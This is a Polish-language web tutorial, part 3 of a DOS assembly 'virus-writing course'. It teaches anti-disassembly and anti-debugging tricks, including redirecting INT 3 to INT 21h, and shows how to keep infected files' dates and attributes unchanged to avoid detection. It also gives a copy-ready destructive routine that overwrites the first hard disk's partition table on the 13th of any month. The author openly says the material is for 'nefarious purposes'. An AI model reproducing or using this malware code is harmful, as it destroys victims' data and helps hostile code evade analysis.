Programowanie Główna arrow assembler arrow Kurs pisania wirusów cz. 3


Kurs pisania wirusów cz. 3
"!! UWAGA !! Nie ponoszę żadnej odpowiedzialności za szkody spowodowane jakimkolwiek praktykowaniem informacji zawartych w tym kursie."


1. WSTĘP

Wedle obietnicy w tym kursie zajmiemy się udoskonalaniem naszego kodu. Jego optymalizacją, zabezpieczaniem przed debuggerami i disassemblerami Dodamy też ciekawą procedurę destrukcyjną.


2. DISASSEMBLERY

Disassemblery są to programy, które umożliwiają edycje naszego programu w kodzie źródłowym, w assemblerze. Istnieją różnego rodzaju disassemblery. Jedne są bardziej, inne mniej inteligentne. Jak one działają? Te mniej inteligentne posiadają po prostu zbiór komend i im odpowiadających kodów procesora. Następnie prosto z góry na dół przetwarzają program wedle swojej bazy. Można w bardzo prosty sposób oszukać takie disassemblery wykorzystując taka właściwość procesora, ze ta sama liczba może być jakimś rozkazem, ale i może być również dana przekazywana do innego rozkazu. Zobaczmy to na przykładzie. Mamy program:

1
2
3
4
5
MOV DX,OFFSET Napis
MOV AH,09H
INT 21H
RET
Napis DB "BINBOY & MBR",13,10,'$'


Po skompilowaniu go kompilatorem A86 powstanie mały program, który wyświetla pewien napis. Jednak program ten można bardzo łatwo disassemblować. Użyjemy dowolnego tego typu programu, np. HIEW i otrzymamy źródło. Na HIEW-a i inne mało inteligentne programy jest pewien bardzo prosty sposób. Zobaczmy:

1
2
3
4
5
6
7
8
JMP ET2
DB 05H
ET2:
MOV DX,OFFSET Napis
MOV AH,09H
INT 21H
RET
Napis DB "BINBOY & MBR",13,10,'$'


Powyższy program jest zabezpieczony przed disassemblacją. Taka próba dałaby w efekcie następujący wynik (disassemblowano HIEW-em):

1
2
3
4
5
6
7
8
9
10
11
12
13
JMP 04H
ADD AX,00CBA
ADD [SI][0CD09],SI
AND BX,AX
INC DX
DEC CX
DEC SI
INC DX
DEC DI
AND [04D20],AH
INC DX
PUSH DX
nOR AX,0240A


Niczym ten program nie przypomina poprzedniego, jednak działa tak samo. Dlaczego?? Cały trik jest w linijkach:

1
2
3
4
JMP ET2
DB 05H
ET2:
MOV DX,OFFSET Napis


Wykonujemy skok do etykiety ET2. Tam wykonujemy normalnie polecenia. Program działa poprawnie. Jednak disassembler przetwarzając program nie wykona skoku, tylko pójdzie dalej. Zmiesza pusty bajt (05H) z instrukcją MOV ... czego wynikiem jest powstanie dziwnej komendy. Komenda ta zajmuje mniej bajtów niż nasza MOV... dlatego zostały zmieszane również następne linijki programu.

To jest sposób na mało inteligentne programy. Te o bardziej zaawansowanym algorytmie nie dają się na to nabrać. Podczas procesu disassemblacji wykonują tak jakby program. Przy JMP wykonują skok i disassemblują dalej. Jeśli więc dany bajt nie jest nigdy wykonywany, nie zostanie również disassemblowany. Na takie programy jest jednak inny sposób. Bardziej złożony, ale efektywny. Spójrzmy na przykład zabezpieczenia tego samego programu innym sposobem:

1
2
3
4
5
6
7
8
MOV BX,108H
MOV AL,0BAH
MOV CS:[BX],AL
DB 0AH,010H,01H
MOV AH,09H
INT 21H
RET
Napis DB "Karol",13,10,'$'


Powyższy program wyświetli znany nam napis. Jednak jego disassemblacja nie da pożądanego efektu. Do jej wykonania użyłem już bardzo inteligentnego disassemblera ID. Oto, co on pokazał:

1
2
3
4
5
6
7
8
9
LB0100:
MOV BX,108H
MOV AL,0BAH
MOV BYTE PTR CS:[BX],AL
OR DL, BYTE PTR [BX+SI]
ADD WORD PTR LBCD09,SI
AND BX,AX
DEC BX
DB "Karol",13,10,'$'


Z tego programu nie dowiemy się co on robi. Nawet wyświetlany napis jest trochę inny. W kodzie tym jest nawet błąd, to co otrzymaliśmy nie da się skompilować, gdyż nieokreślona jest etykieta LBCD09. Jak to działa??? Otóż instrukcja MOV DX,110H (offset wyświetlanego napisu) ma kod BA1001. My w programie napisaliśmy 0A1001. Zmieniamy wartość 0A na BA na początku, jednak disassemblery nie zmieniają i wykonują program. Wykonują tak, że 0A zupełnie zmienia kod programu. Powstaje cos zupełnie innego. Jest na pewno jeszcze wiele innych metod zabezpieczania, jednak nie nadają się one na ta część kursu. Może kiedyś...

3. DEBUGGERY

Debuggery są to wzbogacone o dodatkowe funkcje disassemblery. Co prawda nabierają się na te same sztuczki co pozostałe, ale maja możliwość wykonania programu krok po kroku, przez co wszystkie pułapki zawodzą. Jednak wszystko ma swoje wady. Debuggery do pracy krokowej używają przerwania 3. Wstawiają je (w pamięci) po każdej instrukcji. Następnie przechwytują i je kontrolują. Działa to w taki sposób, ze po wykonaniu każdej instrukcji jest wykonywane (choć tego nie widać) owo przerwanie, podczas którego zostają wyświetlone wartości wszystkich rejestrów, itp. Dzięki temu, ze debuggery używają przerwania 3 można zabezpieczyć wirusa przed debuggowaniem. Jak?? Jest bardzo prosty sposób. Wystarczy w wirusie zmienić adres przerwania 3h na przerwanie 21h. Następnie w programie wszędzie wywoływać przerwanie 3h zamiast 21h. Efekt będzie taki sam, jednak debugger musi zmienić adres przerwania 3h po to, by moc je kontrolować. Jeśli je zmieni, to wirus nie będzie działać poprawnie. Jak to uczynić? Do tego celu potrzebne nam będą dwie funkcje przerwania 21h. Jedna do zmiany adresu przerwania i druga do odczytania aktualnego adresu. Oto one:

INT 21H
AH=x - X -numer funkcji
AH=25H - funkcja powoduje zmianę adresu procedury obsługi przerwania, którego numer podajemy w AL, na adres przekazany w DS: DX
AH=35H - funkcja powoduje sprawdzenie adresu procedury obsługi przerwania, którego numer również podajemy w AL i zapamiętanie go w rejestrach ES:BX

Czyli pisząc wirusa na początku moglibyśmy napisać taka wstawkę:

1
2
3
4
5
6
7
MOV AX,3521H ; pobranie adresu przerwania 21H
INT 21H ; wynik w ES:BX
MOV AX,2503H ; zmiana adresu przerwania 3H na adres przerwania 21H
MOV DX,BX ; DX=BX
PUSH ES
POP DS ; DS=ES
INT 21H


Teraz w programie zamiast każdej instrukcji INT 21H wpisujemy INT 3H. Ten sposób ma jeszcze jedna zaletę. Jeśli piszemy dłuższego wirusa, w którym wiele razy używamy przerwania 21H, to ten sposób jest pewnego rodzaju optymalizacją. Otóż wykonanie przerwania, czyli instrukcja INT x, gdzie x jest numerem naszego przerwania zajmuje dwa bajty, czyli CDxx, gdzie xx, to wspomniane przerwanie. Jedynym wyjątkiem jest przerwanie 3H, którego kod jest jedno bajtowy i wygląda tak: CCH

4. PROCEDURY DESTRUKCYJNE

Wirus poza tym, że musi się rozmnażać, no, powiedzmy powielać swój kod, powinien także powodować dodatkowe efekty. Niektóre wirusy śpiewają piosenki, inne pokazują na ekranie jakieś efekty (np. spadające literki), a jeszcze inne od czasu do czasu cos... niszczą :-). No i właśnie taka niszczącą procedurkę sobie tutaj zaraz zrobimy. Będzie ona, jeśli wywołana 13-ego dnia dowolnego miesiąca, zamazywać tablice partycji pierwszego dysku twardego. Co to oznacza, chyba wszyscy wiedza, a tym, którzy nie wiedza już wyjaśniam: DOS (ani oczywiście Windows) nie będzie widział żadnej partycji zawartej na tym dysku - efekt będzie taki, jakby komputer wcale nie miał twardego dysku.... Nie będziemy jednak aż tak brutalni, prawdziwa zawartość tablicy partycji zapamiętamy w innym sektorze, tak, ze dysk będzie dało się uratować. Do realizacji naszego nieetycznego planu potrzebne będą dwie funkcje przerwania 13h:

FUNKCJE PRZERWANIA 13h OBSŁUGI DYSKÓW:


Funkcja 02h: Odczytanie sektorów.
Parametry: AH = 02hrn
AL = liczba sektorów (max 128 )
CH = numer cylindra
CL = numer pierwszego sektora
DH = numer głowicy
DL = numer dysku
ES:BX = adres bufora
Wynik: AH - wynik operacji
AL - liczba sektorów, na których wykonano operacje
Jeśli ustawiony znacznik C to błąd.
Funkcja 03h: Zapisanie sektorów.
Parametry: AH = 03h, reszta tak samo jak w funkcji 02h

Żeby nie było niejasności: BIOS widzi twardy dysk jako zbiór dysków magnetycznych, z których każdy ma dwie strony (z wyjątkiem dwóch zewnętrznych) i każdej stronie odpowiada jedna głowica. Taki pojedynczy dysk dzieli się na ścieżki (w opisie int 13h zwane cylindrami - nie jest to dokładnie to samo, ale przy tym, czym się tutaj zajmujemy można tak przyjąć). No, a ścieżka dzieli się na sektory po 512 bajtów. Tablica partycji zajmuje jeden sektor o numerze 0,0,1 (tzn. 0 głowica, 0 cylinder, 1 sektor). Za tablica partycji jest kilka sektorów, których DOS nie wykorzystuje, wiec tam można cos przechowywać (np. wirusa), a w naszym przypadku tablice partycji, taka, jaka była przed zamazaniem - do tego celu wykorzystamy sektor 0,0,2. Jedna uwaga: to, ze DOS nie wykorzystuje tych kilku sektorów, nie oznacza, że tak samo robią inne systemy - taki Unix przechowuje tam jakieś swoje dane i jak mu je zamazać to się wszystko skopie. No wiec do roboty.

zamazywanie_tablicy_partycji:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mov ah,2Ah ; funkcja DOS-u: pytanie o datę
int21h ; powrót: CX - rok (liczony od 1980)
; DH - miesiąc, DL - dzień
; AL - dzień tygodnia (0=niedz. itd.)
cmp dl,13 ; czy 13-ty ??
jne dajemy_spokoj

mov ax,0201h ; odczytanie tablicy partycji do
mov bx,(offset bufor) ; bufora
mov cx,0001h
mov dx,0080h
int13h
jc dajemy_spokoj ; CF=1 jeśli błąd

mov ax,0301h ; zapis tablicy partycji do sektora
inc cl ; 0,0,2 - przerwanie 13h zmieniło po
int 13h ; ostatniej operacji tylko wartość AX
; dlatego nie musimy ustawiać innych
; rejestrów - za wyjątkiem CL = numer
; sektora
jc dajemy_spokoj

mov ax,0301h ; zapis do sektora 0,0,1 śmieci, a
dec cl ; dokładniej bloku PSP naszego
xor bx,bx ; programu i jego pierwszych 256
int13h ; bajtów, ale to nie ważne...

dajemy_spokoj:
ret

bufor db 512 dup(0)


Tę procedurę można przepisać żywcem do swojego wirusa i wywoływać tak:

call zamazywanie_tablicy_partycji

5. ZAPAMIĘTYWANIE/ODTWARZANIE DATY/ATRYBUTÓW ZARAŻANEGO PLIKU

Żeby wirusa było trudniej wykryć, no i żeby był bardziej \"elegancki\", powinien on przed infekcja pliku zapamiętywać datę i czas jego ostatniej modyfikacji, a także atrybuty, żeby moc je później odtworzyć. Zapamiętywanie czasu ma także taka zaletę, że wirus może nieznacznie zmienić oryginalny czas ostatniej modyfikacji pliku, ustawiając np. liczbę sekund na 64, co później posłuży mu jako identyfikator plików już zarażonych. Co do atrybutów, to niezależnie od tego, czy wirus je zapamiętuje czy nie, przed próbą otwarcia pliku powinien on skasować wszystkie atrybuty (może z wyjątkiem Archive), gdyż wirus nie może nic zapisać do pliku z atrybutem ReadOnly.


Funkcja 43h: Odczytanie/zmiana atrybutów pliku.
Parametry: AH = 43hrn
AL = 0 - odczyt atrybutów, 1 - zmiana atrybutów
CX = nowe atrybuty (jeśli AL = 1)
DS: DX = adres nazwy pliku w kodzie ASCIIZ
Wynik: CX = atrybuty pliku (jeśli AL = 0)
Jeśli ustawiony znacznik C to błąd.
Uwagi: Wirus powinien zmienić atrybuty pliku przed jego
otwarciem!
Znaczenie kolejnych bitów CX jest następujące:
0 - plik tylko do odczytu
1 - plik ukryty
2 - plik systemowy
3 - etykieta dysku
4 - podkatalog
5 - atrybut archiwalności
6,7 - nie używane
Funkcja 57h: Odczytanie/zmiana daty ostatniej modyfikacji pliku.
Parametry: AH = 57h
AL = 0 - odczyt daty, 1 - zmiana daty
BX = uchwyt pliku (numer dojścia)
CX = czas do ustawienia (jeśli AL = 1)
DX = data do ustawienia (jeśli AL = 1)
Wynik: CX = czas ostatniej modyfikacji pliku (dla AL = 0)
DX = data ostatniej modyfikacji pliku (dla AL = 0)
Jeśli ustawiony znacznik C to błąd.
Uwagi: Znaczenie kolejnych bitów CX i DX jest następujące:
DX: 9..15 - rok do 1980
5..8 - miesiąc
5..8 - miesiąc
0..4 - dzień
CX: 11..15 - godzina
5..10 - minuta
0..4 - sekunda / 2

6. ZAKOŃCZENIE

Tak dobiegliśmy do końca. Myślę, ze informacje tutaj zawarte przydadzą się do twoich niecnych celów. ;-)) W kolejnej (IV) części kursu zajmiemy się wirusami plików typu BAT (przerobimy naszego wirusa z kursu 1 tak, żeby zarażał tez pliki BAT), oraz wirusami rezydentnymi - napiszemy najprostszego wirusa rezydentnego oraz rezydentną procedurę destrukcyjną.


site copyright © http://www.e-kursy.com
odzyskiwanie danych | pozycjonowanie | Airport chicago limousine service | podziękowanie | programista
bearshare | hemoroidy | PRALKI | zalosny | literatura w oryginale | pozycjonowanie stron www | Telefony komórkowe | torby reklamowe | Bilety lotnicze | Koperty powietrzne